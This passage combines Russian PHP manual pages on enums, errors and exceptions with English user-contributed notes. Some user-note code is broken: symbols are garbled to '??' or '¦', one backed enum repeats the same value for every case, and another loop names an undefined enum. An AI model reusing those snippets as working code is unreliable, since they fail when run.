Вариант, имеющий скалярный эквивалент, называется типизированным, поскольку он "поддерживается" более простым значением. Перечисление, у которого все варианты типизированные, называется "типизированным перечислением". Типизированное перечисление может содержать только типизированные варианты. Чистое перечисление может содержать только чистые варианты.

Типизированное перечисление может поддерживаться типами int или string и данное перечисление поддерживает только один тип за раз (то есть не допускается объединение int|string). Если перечисление помечено как имеющее скалярный эквивалент, тогда все варианты должны иметь определённый явно уникальный скалярный эквивалент. Не существует автоматически генерируемых скалярных эквивалентов (например, последовательных целых чисел). Типизированные варианты должны быть уникальными; два варианта типизированного перечисления не могут иметь одного и того же скалярного эквивалента. Однако константа может относиться к варианту, фактически создавая псевдоним. Смотрите Константы перечислений.

Эквивалентные значения должны быть строками или строковыми выражениями. Константы и постоянные выражения не поддерживаются. То есть 1 + 1 разрешено, а 1 + SOME_CONST - нет.

У типизированных вариантов есть дополнительное свойство, доступное только для чтения, value, которое является значением, указанным в определении.

<?php
print Suit::Clubs->value;
// Выведет "C"
?>

Чтобы сделать свойство value доступным только для чтения, нельзя назначить переменную в качестве ссылки на неё. То есть следующий код выдаст ошибку:

<?php
$suit = Suit::Clubs;
$ref = &$suit->value;
// Error: Cannot acquire reference to property Suit::$value
?>

Типизированные перечисления реализуют внутренний интерфейс BackedEnum, который предоставляет два дополнительных метода:

  • from(int|string): self возьмёт скаляр и вернёт соответствующий вариант перечисления. Если вариант не найден, метод выдаст ValueError. Это полезно в тех случаях, когда входной скаляр является доверенным, а отсутствие значения перечисления следует рассматривать как ошибку остановки приложения.
  • tryFrom(int|string): ?self возьмёт скаляр и вернёт соответствующий вариант перечисления. Если вариант не найден, метод вернёт null. Это полезно в тех случаях, когда входной скаляр не является доверенным и вызывающая функция хочет реализовать свою собственную обработку ошибок или логику значения по умолчанию.

Методы from() и tryFrom() следуют стандартным правилам слабой/строгой типизации. В режиме слабой типизации допустима передача целого числа или строки и система соответствующим образом преобразует значение. Передача числа с плавающей точкой также будет работать с принудительным преобразованием. В режиме строгой типизации передача целого числа в from() в перечислении со строковой типизацией (или наоборот) приведёт к TypeError, как и передача числа с плавающей точкой при любых обстоятельствах. Все остальные типы параметров вызовут ошибку TypeError в обоих режимах.

<?php
$record = get_stuff_from_database($id);
print $record['suit'];

$suit = Suit::from($record['suit']);

// Недопустимые данные выдают ошибку ValueError: "X" не является допустимым скалярным значением для перечисления "Suit"
print $suit->value;

$suit = Suit::tryFrom('A') ?? Suit::Spades;

// Недопустимые данные возвращают значение null, поэтому вместо этого используется Suit::Spades.
print $suit->value;
?>

Ручное определение метода from() или tryFrom() в типизированных перечислениях приведёт к фатальной ошибке.

User Contributed Notes

There are no user contributed notes for this page.


Методы перечислений

Перечисления (как чистые перечисления, так и типизированные перечисления) могут содержать методы и могут реализовывать интерфейсы. Если перечисление реализует интерфейс, то любая проверка типа для этого интерфейса также будет принимать все варианты этого перечисления.

<?php

interface Colorful
{
public function color(): string;
}

enum Suit implements Colorful
{
case Hearts;
case Diamonds;
case Clubs;
case Spades;

// Выполняет интерфейсный контракт.
public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Красный',
Suit::Clubs, Suit::Spades => 'Чёрный'
};
}

// Не является частью интерфейса; хорошо.
public function shape(): string
{
return "Rectangle";
}
}

function paint(Colorful $c) { ... }

paint(Suit::Clubs); // Работает

print Suit::Diamonds->shape(); // выведет "Rectangle"
?>

В этом примере у всех четырёх экземпляров Suit есть два метода: color() и shape(). Что касается вызывающего кода и проверки типов, они ведут себя точно так же, как и любой другой экземпляр объекта.

В типизированных перечислениях объявление интерфейса идёт после объявления типа.

<?php
interface Colorful
{
public function color(): string;
}

enum Suit: string implements Colorful
{
case Hearts = 'H';
case Diamonds = 'D';
case Clubs = 'C';
case Spades = 'S';

// Выполняет интерфейсный контракт.
public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Красный',
Suit::Clubs, Suit::Spades => 'Чёрный'
};
}
}
?>

Внутри метода определяется переменная $this, которая ссылается на экземпляр варианта.

Методы могут быть сколь угодно сложными, но на практике обычно возвращают статическое значение или match для $this, чтобы предоставить разные результаты для разных случаев.

Обратите внимание, что в этом случае было бы лучше также определить тип перечисления SuitColor со значениями Red и Black и вернуть его вместо этого. Однако это усложнило бы этот пример.

Вышеупомянутая иерархия логически похожа на следующую структуру классов (хотя это не фактический исполняемый код):

<?php
interface Colorful
{
public function color(): string;
}

final class Suit implements UnitEnum, Colorful
{
public const Hearts = new self('Hearts');
public const Diamonds = new self('Diamonds');
public const Clubs = new self('Clubs');
public const Spades = new self('Spades');

private function __construct(public readonly string $name) {}

public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Красный',
Suit::Clubs, Suit::Spades => 'Чёрный'
};
}

public function shape(): string
{
return "Прямоугольник";
}

public static function cases(): array
{
// Недопустимый метод, поскольку определение метода cases() в перечислениях вручную запрещено.
// Смотрите также раздел "Список значений".
}
}
?>

Методы могут быть общедоступными, закрытыми или защищёнными, хотя на практике закрытые и защищённые эквивалентны, поскольку наследование не допускается.

User Contributed Notes

iloveyii at yahoo dot com 06-Aug-2023 06:57
Just to complete the function shape in the above neat example:

<?php
interface Colorful
{
    public function color(): string;
}

enum Suit implements Colorful
{
    case Hearts;
    case Diamonds;
    case Clubs;
    case Spades;

    // Fulfills the interface contract.
    public function color(): string
    {
        return match($this) {
            Suit::Hearts, Suit::Diamonds => 'Red',
            Suit::Clubs, Suit::Spades => 'Black',
        };
    }

    // Not part of an interface; that's fine.
    public function shape(): string
    {
           return match($this) {
               Suit::Hearts => '??',
               Suit::Diamonds => '??',
               Suit::Clubs => '¦?',
               Suit::Spades => ' ¦?'
           };

    }
}

echo Suit::Diamonds->shape();
echo PHP_EOL;
echo Suit::Clubs->shape();


Статические методы перечислений

Перечисления также могут иметь статические методы. Использование статических методов в самом перечислении в первую очередь предназначено для альтернативных конструкторов. Например:

<?php
enum Size
{
case Small;
case Medium;
case Large;

public static function fromLength(int $cm): static
{
return match(true) {
$cm < 50 => static::Small,
$cm < 100 => static::Medium,
default => static::Large,
};
}
}
?>

Статические методы могут быть общедоступными, закрытыми или защищёнными, хотя на практике закрытые и защищённые эквивалентны, поскольку наследование не допускается.

User Contributed Notes

Ulf 13-Oct-2023 08:34
Note, that enums are internally declared as final and thus, cannot extend each other (though, they are allowed to extend other classes).

That also means, that the "Size::fromLength()" method from this page's example redundantly uses "static::" (because there's no late static binding required), and could easily use "self::" or "Size::" instead.

See: https://php.watch/versions/8.1/enums#enum-inheritance
lokashafeek7755 at gmail dot com 22-Sep-2023 07:06
If you want to supplement the key-value pairs with additional descriptions for each enum value in the forSelect method, you can modify the array structure to include an associative array for each enum value. Here's an example:

<?php

enum Gender:int
{
    case Male = 1;
    case Female = 2;

    public static function forSelect(): array
    {
        return [
            self::Male->value => [
                'label' => 'Male',
                'description' => 'This is the Male gender',
            ],
            self::Female->value => [
                'label' => 'Female',
                'description' => 'This is the Female gender',
            ],
        ];
    }

}
?>

In this updated example, each enum value is represented as an associative array with two keys: 'label' and 'description'. You can customize the label and description for each enum value accordingly.

Please note that to access the label and description for a specific enum value, you would need to use the corresponding array keys. For example, to get the label for the Male gender, you can use self::forSelect()[self::Male->value]['label'].
joe502357217 at qq dot com 14-Sep-2023 01:21
You simply need to use the following code as a replacement for the example provided by Aaron Saray.
This piece of code is more concise.

<?php
enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function forSelect(): array
    {
        return array_column(self::cases(), 'name', 'value');
    }
}

var_dump(Suit::forSelect());
?>
Aaron Saray 08-Nov-2022 10:29
Need to retrieve all the names and values immediately from a backed enum (for something like a select box) and you don't want to loop over `Enum::cases()`?  Try this:

<?php
enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function forSelect(): array
    {
      return array_combine(
        array_column(self::cases(), 'value'),
        array_column(self::cases(), 'name')
      );
    }
}

Suit::forSelect();
?>

Put `forSelect()` in a trait and use it in any enum you have that needs this functionality.
niloofarfs 21-Feb-2022 04:42
To get all scalar equivalents values of Backed Enum as an array you could define a method in your Enum:

<?php

enum Suit: string
{
    case Hearts = 'H';
    case Diamonds = 'D';
    case Clubs = 'C';
    case Spades = 'S';

    public static function values(): array
    {
       return array_column(self::cases(), 'value');
    }
}

?>


Константы перечислений

Перечисления могут содержать константы, которые могут быть общедоступными, закрытыми или защищёнными, хотя на практике закрытые и защищённые эквивалентны, поскольку наследование не допускается.

Константа перечисления может относиться к варианту перечисления:

<?php
enum Size
{
case Small;
case Medium;
case Large;

public const Huge = self::Large;
}
?>

User Contributed Notes

Hayley Watson 27-Sep-2023 08:19
Just to clarify, enum constants *can* contain cases, but they don't *have* to; other constant values are legitimate - including cases of other Enumerations.

<?php
enum Suit
{
    case Hearts;
    case Clubs;
    case Spades;
    case Diamonds;

    public const Card = Size::Large; // A case from a different enum
}

enum Size
{
    case Small;
    case Medium;
    case Large;

    public const Scale = 297/210; // A float
}

echo Suit::Diamonds::Card::Scale; // Getting the constant Scale from the constant Card in a Suit.
?>


Трейты

Перечисления могут использовать трейты, которые будут вести себя так же, как и классы. Предостережение заключается в том, что трейты, используемые (use) в перечислении не должны содержать свойств. Они могут включать только методы и статические методы. Трейт со свойствами приведёт к фатальной ошибке.

<?php
interface Colorful
{
public function color(): string;
}

trait Rectangle
{
public function shape(): string {
return "Прямоугольник";
}
}

enum Suit implements Colorful
{
use Rectangle;

case Hearts;
case Diamonds;
case Clubs;
case Spades;

public function color(): string
{
return match($this) {
Suit::Hearts, Suit::Diamonds => 'Красный',
Suit::Clubs, Suit::Spades => 'Чёрный',
};
}
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Значения перечисления в постоянных выражениях

Поскольку варианты представлены как константы в самом перечислении, они могут использоваться как статические значения в большинстве константных выражений: значения по умолчанию для свойств, значения по умолчанию для статических переменных, значения по умолчанию для параметров, глобальные значения и значения констант класса. Они не могут использоваться в других значениях варианта перечисления, но обычные константы могут относиться к варианту перечисления.

Однако неявные вызовы магических методов, таких как ArrayAccess в перечислениях, не допускаются в статических или константных определениях, поскольку мы не можем абсолютно гарантировать, что результирующее значение будет детерминированным или что вызов метода не будет иметь побочных эффектов. Вызовы функций, вызовы методов и доступ к свойствам по-прежнему являются недопустимыми операциями в постоянных выражениях.

<?php
// Это полностью законное определение перечисления.
enum Direction implements ArrayAccess
{
case Up;
case Down;

public function offsetGet($val) { ... }
public function offsetExists($val) { ... }
public function offsetSet($val) { throw new Exception(); }
public function offsetUnset($val) { throw new Exception(); }
}

class Foo
{
// Это разрешено.
const Bar = Direction::Down;

// Это запрещено, так как не может быть детерминированным.
const Bar = Direction::Up['short'];
// Fatal error: Cannot use [] on enums in constant expression
}

// Это совершенно законно, потому что это не постоянное выражение.
$x = Direction::Up['short'];
?>

User Contributed Notes

There are no user contributed notes for this page.


Отличия от объектов

Хотя перечисления построены на классах и объектах, они не поддерживают все функциональные возможности, связанные с объектами. В частности, вариантам перечислений запрещено иметь состояние.

  • Конструкторы и деструкторы запрещены.
  • Наследование не поддерживается. Перечисления не могут наследовать или наследоваться.
  • Статические свойства или свойства объекта не допускаются.
  • Клонирование варианта перечисления не поддерживается, так как варианты должны быть одноэлементными экземплярами.
  • Магические методы, кроме перечисленных ниже, запрещены.
  • Перечисления всегда должны быть объявлены до их использования.

Доступны следующие функциональные возможности объекта, которые ведут себя так же, как и для любого другого объекта:

  • Методы public, private и protected.
  • Статические методы public, private и protected.
  • Константы public, private и protected.
  • Перечисления могут реализовывать любое количество интерфейсов.
  • К перечислениям и вариантам могут быть добавлены атрибуты. Целевой фильтр TARGET_CLASS включает сами перечисления. Целевой фильтр TARGET_CLASS_CONST включает варианты перечислений.
  • Магические методы __call, __callStatic, и __invoke.
  • Константы __CLASS__ и __FUNCTION__ ведут себя как обычно.

Магическая константа ::class для типа перечисления оценивает имя типа, включая любое пространство имён, точно так же, как объект. Магическая константа ::class в экземпляре варианта также оценивается как тип перечисления, поскольку она является экземпляром этого типа.

Кроме того, варианты перечисления не могут быть созданы напрямую с помощью new или с помощью ReflectionClass::newInstanceWithoutConstructor(). Оба способа приведут к ошибке.

<?php
$clovers = new Suit();
// Error: Cannot instantiate enum Suit
$horseshoes = (new ReflectionClass(Suit::class))->newInstanceWithoutConstructor()
// Error: Cannot instantiate enum Suit
?>

User Contributed Notes

There are no user contributed notes for this page.


Список значений

И чистые перечисления, и типизированные перечисления реализуют внутренний интерфейс с именем UnitEnum. UnitEnum включает статический метод cases(). cases() возвращает упакованный массив всех определённых вариантов в порядке объявления.

<?php
Suit::cases();
// Produces: [Suit::Hearts, Suit::Diamonds, Suit::Clubs, Suit::Spades]
?>

Ручное определение метода cases() в перечислении приведёт к фатальной ошибке.

User Contributed Notes

ratsimbasitraka at gmail dot com 04-Jan-2023 08:22
enum Priority {
    case Left;
    case Right;
}

// Does not work as default parameter
public function selectPriorities(array $priorities = Priority::cases()) {
    Priority::cases() // works here
}
theking2 at king dot ma 09-Jul-2022 08:57
As ::cases() creates a Iteratable it is possible to use it in a foreach loop. In combination with value backed enum this can result in very compact and very readable code:

<?php
/** Content Security Policy directives */
enum CspDirective: String {
  case Default = "default-src";
  case Image = "img-src";
  case Font = "font-src";
  case Script = "script-src";
  case Style = "style-src";
}

/** list all CSP directives */
foreach( CspSource::cases() as $directive ) {
  echo $directive-> value . PHP_EOL;
}
?>
Which results in:
default-src
img-src
font-src
script-src
style-src


Сериализация

Перечисления сериализуются иначе, чем объекты. В частности, у них есть новый код сериализации, "E", который указывает имя варианта перечисления. Затем процедура десериализации может использовать это для установки переменной в существующее одноэлементное значение. Это гарантирует, что:

<?php
Suit::Hearts === unserialize(serialize(Suit::Hearts));

print serialize(Suit::Hearts);
// E:11:"Suit:Hearts";
?>

При десериализации, если не удаётся найти перечисление и сопоставить с соответствующим сериализованным значением, будет выдано предупреждение и будет возвращено false.

Если чистое перечисление сериализуется в JSON, будет выдана ошибка. Если типизированное перечисление сериализуется в JSON, оно будет представлено только его скаляром значений в соответствующем типе. Поведение обоих способов может быть изменено путём реализации JsonSerializable.

Для print_r() вывод варианта перечисления немного отличается от объектов, чтобы свести к минимуму путаницу.

<?php
enum Foo {
case Bar;
}

enum Baz: int {
case Beep = 5;
}

print_r(Foo::Bar);
print_r(Baz::Beep);

/* Выводит

Foo Enum (
[name] => Bar
)
Baz Enum:int {
[name] => Beep
[value] => 5
}
*/
?>

User Contributed Notes

There are no user contributed notes for this page.


Почему перечисления не расширяемы

У классов есть контракты на их методы:

<?php

class A {}
class B extends A {}

function foo(A $a) {}

function bar(B $b) {
foo($b);
}
?>

Этот код безопасен для типов, поскольку B следует контракту A, и, благодаря магии ковариантности и контравариантности, любое ожидание, которое может быть у человека в отношении методов, будет сохранено, за исключением исключений.

У перечислений есть контракты на их варианты, а не методы:

<?php
enum ErrorCode {
case SOMETHING_BROKE;
}

function quux(ErrorCode $errorCode)
{
// Кажется, что этот код охватывает все варианты
match ($errorCode) {
ErrorCode::SOMETHING_BROKE => true,
}
}

?>

Оператор match в функции quux может быть статически проанализирован, чтобы охватить все случаи в ErrorCode.

Но представьте, что было бы разрешено расширять перечисления:

<?php
// Экспериментальный код, в котором перечисления не являются конечными.
// Обратите внимание, что это не будет работать в PHP.
enum MoreErrorCode extends ErrorCode {
case PEBKAC;
}

function fot(MoreErrorCode $errorCode) {
quux($errorCode);
}

fot(MoreErrorCode::PEBKAC);

?>

Согласно обычным правилам наследования, класс, расширяющий другой класс, пройдёт проверку типа.

Проблема заключается в том, что оператор match в quux() уже не охватывает все случаи. Поскольку оно не знает о MoreErrorCode::PEBKAC, match выбросит исключение.

Из-за этого перечисления являются окончательными и не могут быть расширены.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Пример #1 Основные ограниченные значения

<?php
enum SortOrder
{
case Asc;
case Desc;
}

function query($fields, $filter, SortOrder $order = SortOrder::Asc) { ... }
?>

Функция query() теперь может безопасно работать, зная, что $order гарантированно будет либо SortOrder::Asc, либо SortOrder::Desc. Любое другое значение привело бы к TypeError, поэтому дальнейшая проверка ошибок или тестирование не требуется.

Пример #2 Расширенные эксклюзивные значения

<?php
enum UserStatus: string
{
case Pending = 'P';
case Active = 'A';
case Suspended = 'S';
case CanceledByUser = 'C';

public function label(): string
{
return match($this) {
static::Pending => 'В ожидании',
static::Active => 'Активный',
static::Suspended => 'Приостановленный',
static::CanceledByUser => 'Отменено пользователем',
};
}
}
?>

В этом примере статус пользователя может быть одним из следующих:
UserStatus::Pending,
UserStatus::Active, UserStatus::Suspended или
UserStatus::CanceledByUser.
Функция может ввести параметр UserStatus и затем принять только эти четыре значения, точка.

У всех четырёх значений есть метод label(), который возвращает читаемую строку. Эта строка не зависит от скалярной эквивалентной строки "machine name", которую можно использовать, например, в поле базы данных или поле выбора HTML.

<?php
foreach (UserStatus::cases() as $case) {
printf('<option value="%s">%s</option>\n', $case->value, $case->label());
}
?>

User Contributed Notes

php-net at mentordosnerds dot com 07-Sep-2023 08:58
Additional use-case examples:
<?php

trait EnumNamesTrait
{
    abstract public static function cases(): array;

    public static function names(): array
    {
        return array_map(fn($enum) => $enum->name, static::cases());
    }
}

trait EnumValuesTrait
{
    abstract public static function cases(): array;

    public static function values(): array
    {
        return array_map(fn($enum) => $enum->value, static::cases());
    }
}

trait EnumArraySerializableTrait
{
    use EnumNamesTrait;
    use EnumValuesTrait;

    public static function array(): array
    {
        return array_combine(static::names(), static::values());
    }
}

trait EnumJsonSerializableTrait
{
    use EnumArraySerializableTrait;

    public static function jsonSerialize(): string
    {
        return json_encode(static::array());
    }
}

enum Suit: string
{
    case Clubs = '¦';
    case Diamonds = '¦';
    case Hearts = '¦';
    case Spades = '¦';

    use EnumJsonSerializableTrait;

    public const DEFAULT = self::Hearts;

    public static function default(): static
    {
        return self::DEFAULT;
    }
}

var_dump(
    Suit::cases(),
    Suit::values(),
    Suit::names(),
    Suit::array(),
    Suit::jsonSerialize(),
    Suit::default(),
);


Ошибки

Содержание

  • Основы
  • Ошибки в PHP 7

Введение

К сожалению, как бы мы ни были аккуратны при написании кода, ошибки являются частью нашей жизни. PHP будет сообщать об ошибках, предупреждениях и уведомлениях о самых распространённых проблемах кода и времени исполнения, но знания, как разобраться в ошибках и как их обработать, могут сильно упростить процесс отладки.

User Contributed Notes

There are no user contributed notes for this page.


Основы

PHP сообщает об ошибках в ответ на некоторые внутренние ошибочные обстоятельства. Они могут быть использованы для уведомления о разных состояниях, а также могут выводиться на экран и записываться в логи по желанию.

Каждая ошибка, генерируемая PHP, обязательно содержит информацию о своём типе. В этом списке перечислены все типы ошибок, а также описания их поведений и провоцирующие их причины.

Обработка ошибок

PHP, по умолчанию, может обрабатывать любые ошибки в соответствии со своей конфигурацией, если обработчик ошибок не установлен. О каких ошибках сообщать и какие ошибки игнорировать указывается в параметре error_reporting конфигурации php.ini, или во время исполнения программы с помощью вызова error_reporting(). Настоятельно рекомендуется заранее конфигурировать php.ini, так как некоторые ошибки могут произойти до начала выполнения вашего скрипта.

На стадии разработки, обязательно настройте параметр error_reporting на значение E_ALL, так как вам необходимо знать обо всех ошибках для их решения на этой стадии. Когда продукт готов, вы можете изменить значение на менее подробное, вроде E_ALL & ~E_NOTICE & ~E_DEPRECATED, но во многих случаях значение E_ALL также желательно, так как оно может предупреждать заранее о других возможных ошибках.

Дальнейшая работа PHP с появившимися ошибками зависит от двух других параметров в php.ini. Параметр display_errors определяет, включать ли данные ошибки в вывод скрипта или нет. Когда продукт готов, обязательно выключите этот параметр, так как в описании ошибки может содержаться конфиденциальная информация, вроде паролей базы данных. Во время разработки данный параметр лучше включить для решения проблем, провоцирующих ошибки.

Кроме отображения ошибок, их можно записывать в лог с помощью включённого параметра log_errors. Файл лога указывается в параметре error_log. Данная функция незаменима на стадии конечного продукта, так как позволяет видеть информацию об ошибках и составлять основанные на них отчёты вдали от глаз пользователя.

Пользовательская обработка ошибок

Если вас не устраивает работа предустановленного обработчика ошибок, вы также можете обрабатывать множество видов ошибки с помощью своего обработчика, который можно установить вызовом функции set_error_handler(). Некоторые ошибки не могут обрабатываться пользовательским обработчиком, но те, которые могут, обрабатываются по вашему желанию: например, ваш скрипт может выдавать пользователю любую отдельную страницу ошибки, а подробную информацию записывать в лог или отсылать по почте.

User Contributed Notes

There are no user contributed notes for this page.


Ошибки в PHP 7

В PHP 7 механизм сообщения об ошибках был сильно изменён. Традиционное оповещение об ошибке в PHP 5 было заменено новым механизмом, в котором большинство ошибок вызываются с помощью исключений класса Error.

Как и обычные исключения, исключения Error вызываются до появления первого соответствующего блока catch. Если соответствующие блоки не предусмотрены, то будет вызван любой обработчик исключений, установленный с помощью set_exception_handler(). В случае отсутствия обработчика по умолчанию, исключение будет конвертировано в фатальную ошибку и будет обработано как традиционная ошибка.

Поскольку класс Error не наследуется от класса Exception, блок catch (Exception $e) { ... } для обработки неперехваченных исключений PHP 5 не может перехватить исключения Error. Для их перехвата используйте блок catch (Error $e) { ... } или установите обработчик исключений с помощью set_exception_handler().

Иерархия Error

  • Throwable
    • Error
      • ArithmeticError
        • DivisionByZeroError
      • AssertionError
      • CompileError
        • ParseError
      • TypeError
        • ArgumentCountError
      • ValueError
      • UnhandledMatchError
      • FiberError
    • Exception
      • ...

User Contributed Notes

diogoca at gmail dot com 24-Nov-2019 02:38
<?php

set_error_handler(function(int $number, string $message) {
   echo "Handler captured error $number: '$message'" . PHP_EOL  ;
});

try {
    echo $x; # notice, handled on callable
    pg_exec(null, null); # warning, handled on callable
    fho(); # fatal error, stop running and catched
} catch (Throwable $e) {
    echo "Captured Throwable: " . $e->getMessage() . PHP_EOL;
}

?>

set_error_handler will also works without try and catch
ryan dot jentzsch@{gmail} dot com 08-Aug-2017 09:41
An excellent blog post on the difference between exceptions, throwables and how PHP 7 handles these can be found here: https://trowski.com/2015/06/24/throwable-exceptions-and-errors-in-php7/
lubaev dot ka at gmail dot com 01-Dec-2016 05:16
php 7.1

try {
   // Code that may throw an Exception or ArithmeticError.
} catch (ArithmeticError | Exception $e) {
   // pass
}
demis dot palma at tiscali dot it 26-Jul-2016 11:04
Throwable does not work on PHP 5.x.

To catch both exceptions and errors in PHP 5.x and 7, add a catch block for Exception AFTER catching Throwable first.
Once PHP 5.x support is no longer needed, the block catching Exception can be removed.

try
{
   // Code that may throw an Exception or Error.
}
catch (Throwable $t)
{
   // Executed only in PHP 7, will not match in PHP 5
}
catch (Exception $e)
{
   // Executed only in PHP 5, will not be reached in PHP 7
}
hungry dot rahly at gmail dot com 08-Jan-2016 12:26
You can catch both exceptions and errors by catching(Throwable)


Исключения

Содержание

  • Наследование исключений

В PHP реализована модель исключений, аналогичная тем, что используются в других языках программирования. Исключение в PHP может быть выброшено (throw) и поймано (catch). Код может быть заключён в блок try, чтобы облегчить обработку потенциальных исключений. У каждого блока try должен быть как минимум один соответствующий блок catch или finally.

Если выброшено исключение, а в текущей области видимости функции нет блока catch, исключение будет "подниматься" по стеку вызовов к вызывающей функции, пока не найдёт подходящий блок catch. Все блоки finally, которые встретятся на этом пути, будут выполнены. Если стек вызовов разворачивается до глобальной области видимости, не встречая подходящего блока catch, программа завершается с неисправимой ошибкой, если не был установлен глобальный обработчик исключений.

Выброшенный объект должен наследовать (instanceof) интерфейс Throwable. Попытка выбросить объект, который таковым не является, приведёт к неисправимой ошибке PHP.

Начиная с PHP 8.0.0, ключевое слово throw является выражением и может быть использовано в любом контексте выражения. В предыдущих версиях оно было утверждением и должно было располагаться в отдельной строке.

catch

Блок catch определяет, как реагировать на выброшенное исключение. Блок catch определяет один или несколько типов исключений или ошибок, которые он может обработать, и, по желанию, переменную, которой можно присвоить исключение (указание переменной было обязательно до версии PHP 8.0.0). Первый блок catch, с которым столкнётся выброшенное исключение или ошибка и соответствует типу выброшенного объекта, обработает объект.

Несколько блоков catch могут быть использованы для перехвата различных классов исключений. Нормальное выполнение (когда исключение не выброшено в блоке try) будет продолжаться после последнего блока catch, определённого в последовательности. Исключения могут быть выброшены (throw) (или повторно выброшены) внутри блока catch. В противном случае выполнение будет продолжено после блока catch, который был вызван.

При возникновении исключения, код, следующий за утверждением, не будет выполнен, а PHP попытается найти первый подходящий блок catch. Если исключение не поймано, будет выдана неисправимая ошибка PHP с сообщением "Uncaught Exception ...", если только обработчик не был определён с помощью функции set_exception_handler().

Начиная с версии PHP 7.1.0, в блоке catch можно указывать несколько исключений, используя символ |. Это полезно, когда разные исключения из разных иерархий классов обрабатываются одинаково.

Начиная с версии PHP 8.0.0, имя переменной для пойманного исключения является необязательным. Если оно не указано, блок catch будет выполнен, но не будет иметь доступа к выброшенному объекту.

finally

Блок finally также может быть указан после или вместо блоков catch. Код в блоке finally всегда будет выполняться после блоков try и catch, независимо от того, было ли выброшено исключение и до возобновления нормального выполнения.

Одно из заметных взаимодействий происходит между блоком finally и оператором return. Если оператор return встречается внутри блоков try или catch, блок finally всё равно будет выполнен. Более того, оператор return выполнится, когда встретится, но результат будет возвращён после выполнения блока finally. Кроме того, если блок finally также содержит оператор return, возвращается значение из блока finally.

Глобальный обработчик исключений

Если исключению разрешено распространяться на глобальную область видимости, оно может быть перехвачено глобальным обработчиком исключений, если он установлен. Функция set_exception_handler() может задать функцию, которая будет вызвана вместо блока catch, если не будет вызван никакой другой блок. Эффект по сути такой же, как если бы вся программа была обёрнута в блок try-catch с этой функцией в качестве catch.

Примечания

Замечание:

Внутренние функции PHP в основном используют отчёт об ошибках, только современные объектно-ориентированные модули используют исключения. Однако ошибки можно легко перевести в исключения с помощью класса ErrorException. Однако эта техника работает только с исправляемыми ошибками.

Пример #1 Преобразование отчётов об ошибках в исключения

<?php
function exceptions_error_handler($severity, $message, $filename, $lineno) {
throw new ErrorException($message, 0, $severity, $filename, $lineno);
}

set_error_handler('exceptions_error_handler');
?>

Подсказка

Библиотека Стандартная библиотека PHP (SPL) предоставляет большое количество встроенных исключений.

Примеры

Пример #2 Выбрасывание исключения

<?php
function inverse($x) {
if (!$x) {
throw new Exception('Деление на ноль.');
}
return 1/$x;
}

try {
echo inverse(5) . "\n";
echo inverse(0) . "\n";
} catch (Exception $e) {
echo 'Выброшено исключение: ', $e->getMessage(), "\n";
}

// Продолжение выполнения
echo "Привет, мир\n";
?>

Результат выполнения данного примера:

0.2
Выброшено исключение: Деление на ноль.
Привет, мир

Пример #3 Обработка исключений с помощью блока finally

<?php
function inverse($x) {
if (!$x) {
throw new Exception('Деление на ноль.');
}
return 1/$x;
}

try {
echo inverse(5) . "\n";
} catch (Exception $e) {
echo 'Поймано исключение: ', $e->getMessage(), "\n";
} finally {
echo "Первый блок finally.\n";
}

try {
echo inverse(0) . "\n";
} catch (Exception $e) {
echo 'Поймано исключение: ', $e->getMessage(), "\n";
} finally {
echo "Второй блок finally.\n";
}

// Продолжение нормального выполнения
echo "Привет, мир\n";
?>

Результат выполнения данного примера:

0.2
Первый блок finally.
Поймано исключение: Деление на ноль.
Второй блок finally.
Привет, мир

Пример #4 Взаимодействие между блоками finally и return

<?php

function test() {
try {
throw new Exception('foo');
} catch (Exception $e) {
return 'catch';
} finally {
return 'finally';
}
}

echo test();
?>

Результат выполнения данного примера:

finally

Пример #5 Вложенные исключения

<?php

class MyException extends Exception { }

class Test {
public function testing() {
try {
try {
throw new MyException('foo!');
} catch (MyException $e) {
// повторный выброс исключения
throw $e;
}
} catch (Exception $e) {
var_dump($e->getMessage());
}
}
}

$foo = new Test;
$foo->testing();

?>

Результат выполнения данного примера:

string(4) "foo!"

Пример #6 Обработка нескольких исключений в одном блоке catch

<?php

class MyException extends Exception { }

class MyOtherException extends Exception { }

class Test {
public function testing() {
try {
throw new MyException();
} catch (MyException | MyOtherException $e) {
var_dump(get_class($e));
}
}
}

$foo = new Test;
$foo->testing();

?>

Результат выполнения данного примера:

string(11) "MyException"

Пример #7 Пример блока catch без указания переменной

Допустимо начиная с PHP 8.0.0

<?php

class SpecificException extends Exception {}

function test() {
throw new SpecificException('Ой!');
}

try {
test();
} catch (SpecificException) {
print "Было поймано исключение SpecificException, но нам безразлично, что у него внутри.";
}
?>

Пример #8 Throw как выражение

Допустимо начиная с PHP 8.0.0

<?php

function test() {
do_something_risky() or throw new Exception('Всё сломалось');
}

try {
test();
} catch (Exception $e) {
print $e->getMessage();
}
?>

User Contributed Notes

tianyiw at vip dot qq dot com 08-Sep-2023 03:11
Easy to understand `finally`.
<?php
try {
    try {
        echo "before\n";
        1 / 0;
        echo "after\n";
    } finally {
        echo "finally\n";
    }
} catch (\Throwable) {
    echo "exception\n";
}
?>
# Print:
before
finally
exception
lscorionjs at gmail dot com 16-Jan-2023 04:03
<?php

try {
  $str = 'hi';
  throw new Exception();
} catch (Exception) {
  var_dump($str);
} finally {
  var_dump($str);
}

?>

Output:
string(2) "hi"
string(2) "hi"
ilia-yats at ukr dot net 23-Dec-2022 12:24
Note some undocumented details about exceptions thrown from 'finally' blocks.

When exception is thrown from 'finally' block, it overrides the original not-caught (or re-thrown) exception. So the behavior is similar to 'return': value returned from 'finally' overrides the one returned earlier. And the original exception is automatically appended to the exceptions chain, i.e. becomes 'previous' for the new one. Example:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } finally {
        throw new Exception('thrown from finally');
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
    echo $e->getPrevious()->getMessage();
}

// will output:
// thrown from finally
// thrown from try
?>

Example with re-throwing:
<?php
try {
    try {
        throw new Exception('thrown from try');
    } catch (Exception $e) {
        throw new Exception('thrown from catch');
    } finally {
        throw new Exception('thrown from finally');
    }
} catch(Exception $e) {
    echo $e->getMessage();
    echo PHP_EOL;
